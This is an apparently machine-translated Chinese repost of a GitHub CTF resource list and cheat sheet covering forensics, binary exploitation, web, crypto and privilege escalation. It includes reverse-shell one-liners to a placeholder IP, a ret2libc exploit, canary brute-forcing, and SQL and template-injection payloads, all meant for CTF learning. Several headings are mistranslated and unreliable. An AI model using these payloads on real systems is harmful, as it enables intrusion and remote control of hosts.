CTF技巧表+我做过的一些网络安全CTF的证明文件/文件

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/Adamkadaban/CTFs

学习安全的大师指南

我完成的一些 Cyber​​ CTF 的 Writeups / Files

我还提供了 CTF 资源 列表以及 涵盖大量常见 CTF 挑战的综合 备忘单

目录

资源

YouTube(我们喜欢视频资源)

  • 约翰·哈蒙德
    • 用于制作大量 CTF 视频,但已转向更多恶意软件 rev 内容
    • 还有很多有用的视频。 CTF 尤其擅长教导全新的婴儿网络成员如何做事。 强烈推荐。
  • 现场直播
  • 安全协议
    • YouTube 上最好的 pwner。
    • 记录每台 HackTheBox 机器
      • 讨论不同的解决方法以及为什么事情会起作用。 强烈推荐
  • 电脑爱好者
    • 和 Numberphile 一样的人,但更酷。 制作关于基本概念的真正初学者级和直观的视频。
  • pwn.学院
  • Pwn函数
    • 关于差异主题的高质量且易于理解的动画视频
    • 主题有点高级,但很容易理解
  • 马丁·卡莱尔
    • 普林斯顿大学毕业生 - 网络教授 - picoCTF 问题作家 - YouTuber - 他已经掌握了一切!
    • Fr 制作了关于 picoCTF 挑战的精彩视频。
  • 山姆鲍恩
    • 旧金山城市学院绝对了不起的教授
    • 国内最好的 CPTC 团队之一的赞助商
    • 在他的网站 上公开他所有的讲座和课程材料
  • 联邦调查局
    • UF 网络团队(我有点偏见,但为此定义了更好的 YouTube 频道之一)
  • 金维尔
    • 波兰人参加了一支令人惊叹的国际 CTF 团队
    • 制作非常直观的视频文章。 完成了 picoCTF 2019 的全部内容(很多)
  • 堆栈粉碎
    • 惊人的逆向工程和硬件黑客视频
    • 他有一个非常酷的逆向工程 WannaCry 系列
  • 本·格林伯格
    • GMU 教授提供大量 pwn 和恶意软件视频教程
    • 有点过时了,但还是不错的
  • 佐治亚理工学院的 InfoSecLab
    • 关于pwn的良好和先进的深入讲座
    • 需要一些背景知识
  • RPISEC
    • RPI 大学团队会议
    • 非常先进,假设有一些 CS 背景知识

我还制作了一些不同主题的播放列表

Pwn

加密货币

网络

取证

开源情报

x86 汇编

CSAW 文章

这是我在 tjcsc 的帮助下制作的一些幻灯片

Pwn

加密货币

网络

牧师

实践/学习网站

CTF

  • PicoCTF
    • 大量惊人的练习挑战。
    • 绝对是入门的黄金标准
  • 加州大学旧金山分校
    • 整体不错,但很好的 pwn 练习
    • 我目前正在努力在 这里写文章
  • 黑客101
    • CTF,但更适合渗透测试
  • CSAW
    • 下降 90% 的时间,通常没有连接工作
    • 如果它是起来的,它有很多很好的介绍性挑战
  • CTF101
    • 我见过的最好的 CTF 介绍之一 (gj osiris)
    • 非常简洁,对初学者友好

一般的

  • 破解盒子
    • OG盒子网站
      • 箱子经过精心挑选以确保质量
    • 现在有一些 CTF 风格的问题
    • 现在有课程可以开始学习
  • 试试黑我
    • 比 HackTheBox 更简单的盒子
    • 一步一步的挑战
    • 现在有“学习路径”来指导您完成主题
  • 网络安全实验室
    • 盒子的大集合
    • 有一些 CTF 的东西
  • 漏洞中心
    • 有易受攻击的虚拟机,你必须自己部署
    • 种类繁多,但很难找到好的

Pwn

  • pwnable.kr
    • 难度范围广的挑战
  • pwnable.tw
    • 比 pwnable.kr 更难
    • 一旦你解决了挑战,就会有书面记录
  • pwnable.xyz
    • 更多pwn挑战
    • 一旦你解决了挑战,就会有书面记录
    • 解决所有挑战后,您可以上传自己的挑战
  • pwn道场
    • 我认为最好的 pwn 挑战合集
    • 支持幻灯片教学如何做 & 如果您需要帮助,会有不和谐
  • 恶梦
    • pwning C 二进制文件的黄金标准
    • 有一些错误/打字错误,但总体来说很棒
  • pwn笔记
    • 来自一些随机在线人的笔记
    • 非常肤浅,但很好地介绍了一切
  • 安全暑期学校
    • 布加勒斯特大学安全课程
    • 非常适合初学者的解释
  • RPISEC MBE
    • RPI 的现代二进制开发课程
    • 有大量的实验室/项目用于实践和一些(稍微过时的)讲座
  • how2heap
    • ASU 的 CTF 团队制作的 Heap Exploitation 系列
    • 包括一个非常酷的调试器功能来展示漏洞利用的工作原理
  • 绳索商场
    • 每个主要架构教学中的一系列挑战面向返回的编程
    • 质量很高。 教授最基本到最先进的技术。
    • 我目前 在这里添加我自己的文章
  • 凤凰开拓教育
    • 大量按难度排序的二进制开发问题
    • 包括源代码并附带一个包含所有二进制文件的 VM。

牧师

网络

  • websec.fr
    • 许多网络挑战,难度范围很大
  • 网络黑客.kr
    • 有很多好的网络挑战的存档
  • 保护 Web 应用程序
    • 开源 CCSF 课程
  • OWASP果汁店
    • 非常适合渗透测试,但对于在 CTF 中探索网络很有用
    • 总共超过 100 个漏洞/挑战
  • 端口交换器
    • 了解网络黑客的黄金标准
    • 大量惊人的挑战和解释
  • DVWA
    • 非常适合渗透测试,但对于在 CTF 中探索网络很有用
  • bWAPP
    • 非常适合渗透测试,但对于在 CTF 中探索网络很有用
  • CTF 挑战赛
    • Adam Langley 制作的网络挑战集,尽可能逼真。
    • 有利于获得漏洞赏金经验

加密货币

智能合约

渗透测试

CTF 备忘单

取证/隐写术

一般的

  • 来自 John Hammond 的针对不同类型挑战的非常好的资源:
  • 另一个用于创建和解决挑战的非常棒的备忘单:
  • 文件
    • file <file.xyz>
    • 确定文件类型
  • 隐身
    • steghide extract -sf <file.xyz>
    • 提取嵌入文件
  • 隐匿搜索
    • stegseek <file> <password list>
    • 使用单词列表提取嵌入文件
    • 超级超级快
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • 提取嵌入文件
  • 导出工具
    • exiftool <file.xyz>
    • 读取元数据
  • 字符串
    • strings <file.xyz>
    • 查找文件中的所有可打印字符
  • 十六进制
  • Ghex(另一个十六进制编辑器,但带有 GUI。如果你需要跳转到某个字节则很好)
    • ghex <file.xyz>
  • docx 文件是容器,因此您可以解压缩它们以查找隐藏内容
    • unzip <file.docx>
  • 搜索 | 使用 grep 递归查找标志的好方法:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • 您可以将 'picoCTF' 更改为您要查找的标志的开头
  • 跟踪 | 允许您在运行程序时查看代码在做什么:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace 缩短很长的字符串。 您可以使用 -s 来增加 ltrace 显示的字符数。 在查看具有大字符串的 strcmp 时非常有用。

声音的

图像

视频

机器图像

  • 恢复文件
    • photorec <file.bin>
  • 您可以将图像挂载为虚拟机
  • 挂载一个 .img 文件:
    • binwalk -M --dd=".*" <fileName>
    • 在输出上运行 file 并选择 Linux 文件系统文件
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

胶囊

  • 使用 tcpflow 提取数据
    • tcpflow -r <file.pcap>
  • 使用 wireshark 提取数据
    • 文件 → 导出对象 → 进行选择

Pwn / 二进制开发

  • 对于这个,我建议改为查看我的 LearnPwn 存储 库,因为这个备忘单是在我对 pwn 了解不多之前制作的
    • 但是,我已经包含 了一些 注释来修改我在这里的内容。

一般的

  • 检查ELF的安全性
    • checksec <binary>
    • rabin2 -I <binary>
  • 检查PE的安全性
  • 检查 seccomp bpf
  • 看符号
    • readelf -s <binary>
  • 看字符串
    • rabin2 -z <binary>
  • 将地址打包成字节
    • 小字节序(32 位)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • 大端(64 位)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools 自动为您打包具有正确字节序的地址

缓冲区溢出

  • 如果您需要获取 /bin/sh shell,并且您确定它可以正常工作,但程序无论如何都会退出,请使用以下技巧:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools 用它来做到这一点 process.interactive()

PIE(位置独立执行)

  • 确定随机值
    • pwn cyclic <numChars> 生成有效载荷
    • dmesg | tail | grep segfault 查看错误出在哪里
    • pwn cyclic -l 0x<errorLocation> 查看随机偏移量以控制指令指针
    • 例子

NX(不可执行)

  • 我们可以使用ROP(面向返回编程)来解决

ROP(用于静态编译的二进制文件)

  • ROPG小工具
    • 查看小工具并自动生成 ropchains
    • ROPgadget --ropchain --binary <binary>
      • 然后,您可以在代码的开头添加填充(基于缓冲区和返回地址之间的差异)并运行代码以获取 shell
      • 演示
  • ropr

栈金丝雀

在调试器中查找堆栈金丝雀

  • Stack canary 是放置在 EIP/RIP(指令指针)之前的值,可以被缓冲区溢出覆盖。 如果堆栈被覆盖为与原来不同的内容,则程序基本上会导致错误。 我们的目标是找到原始堆栈,以便在我们溢出时程序正常运行。
  • 堆栈金丝雀取自 gs , 或 fs (分别用于 32 位和 64 位)
    • 在反汇编中,在读取某些内容之前,您可以看到类似于以下内容的一行:

   0x000000000000121a <+4>: sub    rsp,0x30
   0x000000000000121e <+8>: mov    rax,QWORD PTR fs:0x28
   0x0000000000001227 <+17>:mov    QWORD PTR [rbp-0x8],rax
   0x000000000000122b <+21>:xor    eax,eax

  • 在这里,stack canary 被移动到 rax 偏移量 +8 处。
    • 因此,在下一个偏移处中断并检查 rax ( i r rax ) 中的内容以查看当前的金丝雀是什么

静态金丝雀

  • 金丝雀只有在由程序员手动实现时才是静态的(在一些介绍性的 pwn 挑战中就是这种情况),或者如果您能够分叉程序。
    • 当您分叉二进制文件时,分叉的二进制文件具有相同的金丝雀,因此您可以对其进行逐字节暴力破解

额外的

  • 当堆栈金丝雀被不当覆盖时,会导致调用 __stack_chk_fail
    • 如果我们不能泄露金丝雀,我们也可以修改GOT表,防止它被调用
  • 金丝雀存放在 TLS 当前栈的结构体中,初始化为 security_init
    • 如果你可以覆盖真正的金丝雀值,你可以将它设置为等于你决定溢出的任何值。
  • 暴力破解静态 4 字节金丝雀的简单脚本:

#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

格式化字符串漏洞

  • 如果您看到“printf(buf)”或类似的东西,请查看表 2 以尝试尝试什么:
  • 强烈推荐观看 John Hammond 在 picoCTF 2018 上做的“echooo”挑战
  • 有时,尝试仅打印堆栈中的字符串,如下所示: '%s %s %s %s %s %s' 可能会导致错误,因为并非堆栈中的所有内容都是字符串。
  • 尝试通过执行 '%x %x %x %x %x %s' 来最小化它
  • 不必不断增加您键入的 %x 和 %s 的数量,您可以传递一个参数以使其更容易:
    • %1$s | 这会将堆栈中的第一个值(据我所知,就在您的缓冲区旁边)打印为字符串。
    • %2$s | 这会将第二个值打印为字符串,你明白了
    • 您可以使用单行循环来尝试通过泄漏堆栈来找到标志。 按 ^C (CTRL + C) 转到下一个值。
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • 您可以使用不同的大小参数控制泄漏量:
    • %hhx 泄漏 1 个字节(int 大小的一半)
    • %hx 泄漏 2 个字节(int 大小的一半)
    • %x 泄漏 4 个字节(整数大小)
    • %lx 泄漏 8 个字节(长尺寸)
  • 关于使用 fstring vuln 和 %n 修改堆栈的非常好的视频:

Shellcode

返库

  • 我们将覆盖 EIP 以调用 system() 库函数,我们还将传递它应该执行的内容,在本例中是一个带有“/bin/sh”的缓冲区
  • 很好的解释:
  • 很好的例子(转到 3:22:44):
  • 获取 execve("/bin/sh") 的地址
    • one_gadget <libc file>
  • 如果您已经知道 libc 文件和位置(即不必泄露它们…) #!/bin/python3 from pwn import * import os binaryName = 'ret2libc1' # get the address of libc file with ldd libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2] # use one_gadget to see where execve is in that libc file one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i] # pick one of the suitable addresses libc_execve_address = one_gadget_libc_execve_out[1] p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc) # get the address of printf from the binary output printf_loc = int(p.recvuntil('\n').rstrip(), 16) # get the address of printf from libc printf_libc = l.sym['printf'] # calculate the base address of libc libc_base_address = printf_loc - printf_libc # generate payload # 0x17 is from gdb analysis of offset from input to return address offset = 0x17 payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address) # send the payload p.sendline(payload) # enter in interactive so we can use the shell created from our execve payload p.interactive()

逆向工程

炫酷指南: https ://opensource.com/article/20/4/linux-binary-analysis

  • 吉德拉
    • 非常有用的反编译器
  • dotPeek 或 dnSpy
    • 反编译 .NET 可执行文件
  • jadx 和 jadx-gui
    • 反编译apks
  • 开发工具区
    • 在线反编译java
  • 被子花
    • 先进的基于终端的java反编译器
  • apk工具
    • 反编译apks
    • apktool d *.apk
  • 数据库
    • 二进制分析
    • peda (增加功能的扩展)
    • gef (pwners 的 gdb 扩展)
  • 雷达2
    • 二进制分析
  • 牙线
    • strings 在类固醇上。 使用静态分析来查找和计算字符串

SMT求解器

逆向逐字节检查(边信道攻击)

https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html

  • 这是我为使用基于时间的攻击的挑战而制作的版本:
    • 您可能需要运行几次才能解释随机性

#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

使用 gef 搜索字符串

  • 如果您的标志在任何时候被读入变量或寄存器,您可以在移动并运行后中断 grep <string> ,gef 将自动向您显示与您的搜索模式匹配的字符串

网络

  • Nikto (如果允许)
    • 自动寻找漏洞
  • gobuster (如果允许)
    • 暴力破解目录和文件
  • 九头蛇 (如果允许的话)
    • 各种服务的暴力登录
  • BurpSuite
    • 拦截网络请求并允许您修改它们
  • 线鲨
    • 分析实时网络流量和 pcap 文件
  • php反向shell
    • 对于允许您上传文件的网站很有用
    • 该文件需要在服务器上执行才能工作
  • jwt
    • 您可以识别 JWT 令牌,因为它以“ey”开头
    • 该网站将解码 JSON 网络令牌
    • 您可以破解 JSON 网络令牌的秘密来修改和签署您自己的令牌
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL注入
    • sqlmap
      • sqlmap --forms --dump-all -u <url>
      • 自动化 SQL 注入过程
    • 基本的 SQL 注入
      • 输入 'OR 1=1-- 登录表单
      • 在服务器上,这将评估为 SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
      • 1=1 计算结果为真,满足 OR 语句,查询的其余部分被注释掉 --
  • 有效载荷AllTheThings
    • 具有大量有效负载的 Web 开发的重要资源
  • 模板注入
    • tpl映射
      • 自动服务器端模板注入
    • 金甲注射液
      • {{ config.items() }}
    • 烧瓶注射
      • {{配置}}
    • Python eval() 函数
      • __import__.('subprocess').getoutput('<command>')
        • 如果不起作用,请确保切换括号
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • 列出系统中的文件
    • 更多 python 注入
  • 跨站脚本

模糊输入字段

  • FFUF
    • 将请求复制到输入字段并将参数替换为“FUZZ”:
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • 用于 -fs 过滤尺寸

加密货币

网络大厨

密码检测器 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!

哈希值

  • 哈希德
    • 用于检测哈希类型的命令行实用程序

普通密码

  • 凯撒密码
  • 维吉尼亚密码 #### Solver using custom table cipherText = "" plainText = "" flagCipherText = "" tableFile = "" with open(cipherText) as fin: cipher = fin.readline().rstrip() with open(plainText) as fin: plain = fin.readline().rstrip() with open(flagCipherText) as fin: flag = fin.readline().rstrip() with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()] table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break print(key) dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break print(dec_flag)
  • 替代密码
  • 腐烂13
  • 凯撒密码

RSA

使用 pycryptodome 获取 RSA 信息

from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

中国剩余定理 (p,q,e,c)

  • 当你可以分解数字时使用它 n
    • 糟糕的实施将有不止一个主要因素
    • 证明
  • 老的 def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m p = q = e = c = n = p*q # use factordb command or website to find factors phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1) d = modinv(e, phi) # private key # print(d) m = pow(c,d,n) # decrypted plaintext message in long integer form thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
  • 新的 #!/bin/python3 from Crypto.Util.number import * from factordb.factordb import FactorDB # ints: n = e = c = f = FactorDB(n) f.connect() factors = f.get_factor_list() phi = 1 for i in factors: phi *= (i-1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode('UTF-8') print(flag)
  • 给出因数和欧拉总和 (phi) 的网站

铜匠攻击 (c,e)

  • 通常在指数非常小(e <= 5)时使用

from Crypto.Util.number import *
def nth_root(radicand, index):
    lo = 1
    hi = radicand
    while hi - lo > 1:
        mid = (lo + hi) // 2
        if mid ** index > radicand:
            hi = mid
        else:
            lo = mid

    if lo ** index == radicand:
        return lo
    elif hi ** index == radicand:
        return hi
    else:
        return -1

c =
e =

plaintext = long_to_bytes(nth_root(c, e))
print(plaintext.decode("UTF-8"))

Pollards 攻击 (n,e,c)

from Crypto.Util.number import *
from math import gcd

n =
c =
e =

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n:
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

维纳攻击 (n,e,c)

  • 当 d 太小(或 e 太大)时使用

from Crypto.Util.number import *
import owiener

n =
e =
c =

d = owiener.attack(e, n)
m = pow(c, d, n)

flag = long_to_bytes(m)
print(flag)

Base16, 32, 36, 58, 64, 85, 91, 92

https://github.com/mufeedvh/basecrack

盒子

连接中

  • ssh
    • ssh <username>@<ip>
    • ssh <username>@<ip> -i <private key file>
    • 在本地将 SSH 作为文件系统挂载:
      • sshfs -p <port> <user>@<ip>: <mount_directory>
    • 已知主机
      • ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
  • 网猫
    • nc <ip> <port>

枚举

  • 机器发现
    • netdiscover
  • 机器端口扫描
    • nmap -sC -sV <ip>
  • 枚举
    • enum4linux <ip>
  • SMB 枚举
    • smbmap -H <ip>
  • 连接到 SMB 共享
    • smbclient //<ip>/<share>

权限提升

  • 林豆
    • ./linpeas.sh
    • 自动查找特权升级向量
  • 列出我们可以以 root 身份运行的命令
    • sudo -l
  • 查找具有 SUID 权限的文件
    • find / -perm -u=s -type f 2>/dev/null
    • 这些文件以所有者的权限执行,而不是用户执行它们

监听反弹 shell

  • nc -lnvp <port>

反弹shell

  • revshells.com
    • 基本上你可能需要的一切模板
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • nc -e /bin/sh <ip> <port>
  • bash -i >& /dev/tcp/<ip>/<port> 0>&1

获取交互式反弹shell

Linux

  1. 运行以下 python 命令以使其部分交互: python -c 'import pty;pty.spawn("/bin/bash");'
  2. 退出 netcat 会话 CTRL+Z 并在 stty raw -echo 本地运行
  3. 使用命令重新输入您的会话 fg (如果需要,随后输入作业 ID)
  4. 通过运行将终端仿真器更改为 xterm export TERM=xterm (这可能不是必需的)
  5. 通过运行将 shell 更改为 bash export SHELL=bash (这可能不是必需的)
  6. 完毕! 现在你的 shell 应该是完全交互的

窗户/一般

  1. rlwrap 在您的系统上 安装
  2. 现在,每次运行 nc 监听器时,只要放在 rlwrap 前面
  3. 例如: rlwrap nc -lvnp 1337
    • 这将为您提供箭头键和命令历史记录,但不会为 Windows 和 *nix 系统提供自动完成功能(据我所知)

开源情报

杂项

笔记

标签:工具分享, 学习路线, 学习笔记, ctf笔记, CTF实战